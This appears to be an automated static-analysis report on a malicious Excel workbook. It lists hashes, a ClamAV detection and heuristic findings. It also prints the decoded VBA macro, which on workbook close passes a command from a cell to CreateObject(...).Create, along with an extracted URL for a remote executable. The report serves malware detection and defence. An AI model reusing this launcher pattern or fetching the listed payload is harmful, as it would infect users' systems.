Malicious Office (OOXML) — malware analysis report

Static analysis result for SHA-256 dc2bc64eb2cd8586…

MALICIOUS

Office (OOXML)

21.6 KB First seen: 2020-11-05
MD5: d112410952810045a0f8e891fa3c7bca SHA-1: 557869f23b3afc5e081c857a582ddcdbd8d8f42a SHA-256: dc2bc64eb2cd8586f3da54e96f52fec22023a10d9f899f739f04ad2177b9ae84
222 Risk Score

Heuristics 5

  • ClamAV: Xls.Malware.Sagent-10035294-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Xls.Malware.Sagent-10035294-0
  • LOLBin token sequence in document text high SE_LOLBIN_RUN_COMMAND
    Extracted document text contains a Windows script/execution tool name (PowerShell, mshta, cmd, rundll32, regsvr32, …) within 220 characters of a dangerous flag, command verb, or URL. This is a visible 'run this' instruction in HTML/PDF/RTF lure bodies, or — in macro-laden Office files — the macro's own string-pool entries appearing adjacent in extracted text.
  • VBA project inside OOXML medium 1 related finding OOXML_VBA
    Document contains a VBA project — VBA macros present
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
    Matched line in script
    Set yzhbtzxnrwbmvyqccjolyehko  = CreateObject(Range("A4").Value)
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://185.29.11.32/crypwarzne.exe In document text (OOXML body / shared strings)

Extracted artifacts 2

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source from OOXML) 1310 bytes
SHA-256: 743211c2cbcb9fb6d460d04d3b62f356cd8f114f48d2ebab973529f14e631795
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisWorkbook"
Attribute VB_Base = "0{00020819-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True
Private Sub Workbook_BeforeClose(Cancel As Boolean)
Range("A1:J15").Select
Selection.Font.Bold = True
Selection.Font.Italic = True
Selection.Font.Underline = xlUnderlineStyleSingle
gsejsnktcdababkestmvaydjw = Range("A3").Value
With Selection
.HorizontalAlignment = xlCenter
.VerticalAlignment = xlBottom
.WrapText = False
.Orientation = 0
.AddIndent = False
.IndentLevel = 0
.ShrinkToFit = False
.ReadingOrder = xlContext
.MergeCells = False
End With
Range("M5").Select
Set yzhbtzxnrwbmvyqccjolyehko  = CreateObject(Range("A4").Value)
Dim bxdyctrfrdnwlslzfjusrczqg
bxdyctrfrdnwlslzfjusrczqg = yzhbtzxnrwbmvyqccjolyehko.Create(gsejsnktcdababkestmvaydjw)
End Sub

Attribute VB_Name = "cfprbsoredgolylxnuppjnibx"
Attribute VB_Base = "0{00020820-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True
vbaProject_00.bin vba-project OOXML VBA project: xl/vbaProject.bin 5120 bytes
SHA-256: 735432cdfd66d19cca5f0e774efe1f88fcf1ee338ab4fb27bba17e448a15a384
Detection
ClamAV: Xls.Malware.Sagent-10035294-0
Obfuscation or payload: unlikely

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